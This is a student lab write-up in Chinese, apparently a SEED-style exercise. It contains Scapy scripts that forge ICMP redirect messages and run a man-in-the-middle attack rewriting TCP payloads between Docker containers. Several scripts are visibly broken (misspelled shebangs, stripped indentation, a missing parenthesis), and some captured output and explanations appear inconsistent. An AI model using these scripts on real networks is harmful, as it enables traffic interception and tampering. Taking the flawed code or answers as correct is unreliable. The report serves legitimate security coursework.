Lab3

57118232 谢隆文

Task 1：Launching ICMP Redirect Attack

首先进入受害者容器 docker1(10.9.0.5)，对目标 IP(192.168.60.5) 进行 ping 命令。

```
root@acffbcf48b46:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.086 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.100 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.056 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.059 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.059 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.097 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.055 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.054 ms
64 bytes from 192.168.60.5: icmp_seq=9 ttl=63 time=0.097 ms
64 bytes from 192.168.60.5: icmp_seq=10 ttl=63 time=0.060 ms
64 bytes from 192.168.60.5: icmp_seq=11 ttl=63 time=0.114 ms
64 bytes from 192.168.60.5: icmp_seq=12 ttl=63 time=0.060 ms
```

然后在攻击者容器 docker1(10.9.0.105) 运行攻击代码，利用 Wireshark 抓包可以观察到重定向报文。

```
10.9.0.11       10.9.0.5        ICMP    108 Time-to-live exceeded (Time to live exceeded in transit)
10.9.0.11       10.9.0.5        ICMP    108 Time-to-live exceeded (Time to live exceeded in transit)
```

在受害者容器查看路由缓存。

```
root@a680f43fb731:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 222sec
root@a680f43fb731:/#
```

利用命令 mtr -n 192.168.60.5，进行 traceroute 。

```
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets                  Pings
Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
1. 10.9.0.111                  0.0%     3    0.1   0.1   0.1   0.1   0.0
2. 10.9.0.11                   0.0%     3    0.1   0.1   0.1   0.1   0.0
3. 192.168.60.5                0.0%     3    0.1   0.1   0.1   0.1   0.0
```

问题 1：

不可以使用 ICMP 重定向攻击重定向到远程机器。

代码：

```
!/usr/bin/evn python3
from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "192.168.60.6"
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

查看路由缓存

```
root@a680f43fb731:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache
```

ICMP 重定向不成功。

问题 2：

代码：

```
#!/usr/bin/evn python3
from scapy.all import *
ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.110"
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
send(ip/icmp/ip2/ICMP()
```

查看路由缓存：

```
root@a680f43fb731:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache
```

不可以使用 ICMP 重定向攻击重定向到同一网络中不存在的主机。

问题 3：

```
    sysctls:
            - net.ipv4.ip_forward=1
            - net.ipv4.conf.all.send_redirects=1
            - net.ipv4.conf.default.send_redirects=1
            - net.ipv4.conf.eth0.send_redirects=1
```

置为 0 的意义是允许恶意路由器发送重定向报文，置为 1 后， 重定向攻击不成功。

	Packets		Pings				
Host	Loss%	Snt	Last	Avg	Best	Wrst	StDev
1. 10.9.0.11	0.0%	13	0.1	0.2	0.1	0.3	0.0
2. 192.168.60.5	0.0%	12	0.4	0.3	0.2	0.5	0.1

Task 2：Launching the MITM Attack

首先把恶意路由的转发关掉

```
        tty: true
        cap_add:
                - ALL
        sysctls:
                - net.ipv4.ip_forward=0
                - net.ipv4.conf.all.send_redirects=0
                - net.ipv4.conf.default.send_redirects=0
                - net.ipv4.conf.eth0.send_redirects=0
        privileged: true
        volumes:
                - ./volumes:/volumes
```

修改代码:

```
#!/usr/bin/env python3
from scapy.all import *
print("LAUNCHING MITM ATTACK.....")
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
# Replace a pattern
newdata = data.replace(b'xlw', b'AAA')
send(newpkt/newdata)
else:
send(newpkt)
f = 'tcp and src host 10.9.0.5 and dst host 192.168.60.5 and dst port 9090'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

该恶意程序捕获的是从 victim 发到 192.168.60.5 方向上的包，因为在 victim 中输入的数据最终被转发到 192.168.60.5 上

问题 4：只需要捕获 victim 去向 host1 这个方向的流量，因为攻击目的是修改受害者到目的地的数据包。

问题 5：

指定 IP 地址时，伪造的数据包未修改 IP 地址，因此仍然会不断发送数据包。 指定 MAC 地址时，代码修改如下:

```
#!/usr/bin/env python3
from scapy.all import *
print("LAUNCHING MITM ATTACK.....")
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
# Replace a pattern
newdata = data.replace(b'xlw', b'AAA')
send(newpkt/newdata)
else:
send(newpkt)
```

f = 'tcp and ether src host 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
将 IP 地址作为过滤器，恶意路由发送的数据包的源 IP 也为 10.9.0.5，因此会不断捕获自己发出的数据包。 将 MAC 地址作为过滤器，恶意路由只会捕获 MAC 地址为 02:42:0a:09:00:05 即真正的 10.9.0.5 发送的数据包，因此只会发送一个数据包